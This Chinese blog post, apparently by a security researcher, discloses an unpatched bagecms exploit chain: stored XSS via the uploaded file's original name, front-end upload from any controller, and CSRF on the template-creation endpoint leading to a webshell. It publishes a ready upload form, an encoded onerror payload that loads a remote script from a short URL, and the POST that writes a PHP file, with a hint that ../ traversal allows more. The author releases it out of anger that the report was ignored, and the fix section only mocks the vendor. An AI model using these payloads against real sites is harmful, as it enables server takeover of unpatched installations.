bagecms「0day」从XSS到getshell

这篇日志发布时间已经超过一年,许多内容可能已经失效,请读者酌情参考。

八月末看了蘑菇在KCON演讲的PPT,感觉有了很多新思路。刚好上个月一直在做Yii相关的开发工作,下了一套基于Yii1的CMS(bagecms),就顺手对它简单分析了下,结果在附件上传的位置发现了一枚存储型XSS,同时由于这个CMS还存在前台文件上传和CSRF写文件的问题,于是可以用XSS直接getshell。


乌云:http://wooyun.org/bugs/wooyun-2014-074109

发到wooyun后,我当时没贴xss getshell的部分,后来修改了下,但是貌似wooyun对修改漏洞细节的审核优先级不高,一直没给通过。

结果没过几天,丫居然给我忽略了。

我当时异常愤怒,我认为我的付出没有得到尊重。后几经周折联系到了开发者曙光,结果他一句“最近忙没有上线处理”就结束了。至今也没有去wooyun做厂商回复,同时他的官网也没有更新补丁,连demo网站的xss居然也还在。

OK,那就放出exp。

官网demo poc.png

0x01 漏洞分析

1、上传文件的原始名称未处理入库,导致存储型XSS。

上传文件的原始文件名作为real_name存入数据库,并在后台附件管理部分显示出来。只要在修改原始文件名为payload就可以了。

原来想的是改文件名,其实是看了 @Evi1m0 在kcon的PPT,这PPT给了我很大启发:

https://github.com/knownsec/KCon/blob/master/KCon V3/去年跨过的客户端.pptx
确实很猥琐,也很有效。

但本例没有那么复杂,因为是http协议,与ppt中的场景不一样,这里很简单直接截包修改即可。

修改文件名为payload

表单的action是post/upload,其实任意前台controller/upload都可以上传成功。同时由于这个位置长度有255,可以随意发挥。后台浏览附件列表时候即触发XSS。

2、前台文件上传

单看前面那个xss,是比较鸡肋的,因为需要后台的上传权限。不过得益于bagecms奇葩的架构,可以从前台任意controller发起upload的action,达到上传文件的目的。

前台文件上传

在bagecms中,所有的controller都继承自components/Controller,而这个Controller有一个actionUpload,负责文件上传,由于components/Controller是所有controller的基类,所以在前台controller也可以直接上传文件。

文件上传使用的XUpload::upload函数,里面调用了ThinkPHP的上传类,这个类默认只能上传图片文件,非常可惜,要不就是一个前台任意文件上传了。

3、编辑文件CSRF,可以直接getshell。

bagecms后台提供一个非常奇葩的编辑模板功能,这个功能没有验证码,没有csrf token。别扯淡说开启Yii自带的csrf,你试试开启后编辑器的文件上传等功能还能正常用吗?即便开启了,也可以用js获取。

    /**
     * 创建文件
     *
     */
    public function actionCreateTpl() {
        parent::_acl('template_create');
         parent::_configParams(array('action'=>'allowTplOperate', 'val'=>'Y', 'message'=>'当前配置文件不允许创建或编辑模板,请在 protected/config/params.php 中配置 allowTplOperate 为 Y'));
        
        $folderName = trim( $this->_gets->getParam( 'folderName' ) );
        if (  $_POST ) {
            try {
                $fileName = trim( $this->_gets->getParam( 'fileName' ) );
                $content = trim( $this->_gets->getParam( 'content' ) );
                if ( empty( $folderName ) )
                    throw new Exception( '必须指定文件夹' );
                elseif ( empty( $fileName ) )
                    throw new Exception( "文件名必须填写" );
                elseif ( empty( $content ) )
                    throw new Exception( "文内容必须填写" );
                $newFile = $this->_themePath.DS.'views'.DS.$folderName.DS.$fileName.'.php';
                if ( is_file( $newFile ) )
                    throw new Exception( '文件 '.$fileName.' 已经存在 '. $folderName.'文件夹中' );
                $hander =  file_put_contents( $newFile, $content );
                if ( $hander ) {
                    XUtils::message( 'success', '文件 '.$fileName.' 创建成功', $this->createUrl( 'index' ) );
                }else {
                    throw new Exception( '文件创建失败' );
                }
            } catch ( Exception $e ) {
                XUtils::message( 'error', $e->getMessage() );
            }
        }
        $data['folderName'] = $folderName;
        $this->render( 'create', $data );
    }

其中$this->_gets是在基类中封装了的CHttpRequest。可以看到几乎是一个get型的csrf,不过使用了if($_POST) 来要求post提交。只需要提交fileName(保存文件名)、folderName(保存文件夹,可以使用../跳转)、content(保存内容,直接写shell)即可,整个写文件过程没有经过任何安全校验,直接写入文件。

0x02  利用方法与exp

1、构造上传表单。

<html>
<header>
    <meta charset="utf-8">
    <title>bagecms 前台文件上传</title>
</header>
<body>
    <form action="目标网站/index.php?r=site/upload" method="post" enctype="multipart/form-data">
        <input type="file" name="imgFile">
        <input type="submit">
    </form>
</body>
</html>

2、抓包,修改上传文件名。


修改文件名为编码过的payload


这里需要注意的是,文件在上传的时候会把 / 作为路径处理,无法闭合标签,所以只能用一些自闭和的标签,同时http://之类的网址也不能使用,因此必须使用eval(String.fromCharCode())来避免使用特殊符号。

比如我的路径是http://www.crazydb.com/poc/getshell.js,先使用短网址变成http://to.ly/Fplg,然后将payload编码。

编码前
1<img src=a onerror=eval(document.wirte('<script src="http://to.ly/Fplg"></script>'))>.png
编码后
1<img src=a onerror=eval(document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,111,46,108,121,47,70,112,108,103,62,60,47,115,99,114,105,112,116,62)))>.png

当管理员查看附件的时候,就会触发xss,载入远程getshell.js脚本,这个脚本内容如下:

$.post(
	'http://demo/bg/index.php?r=admini/template/createTpl&folderName=_include',
	{
		fileName:'i',
		content:'<?php phpinfo();'
	}
);

脚本发起post请求,在目标网站/themes/default/views/_include/文件夹下创建了一个i.php文件,getshell成功。

getshell


shell地址:目标网站/themes/default/views/_include/i.php。注意这里的文件夹名称还支持../跳转,后边你懂的。

0x03 修复建议

都特么忽略了还修复个毛!

留言交流

没有评论
点击换图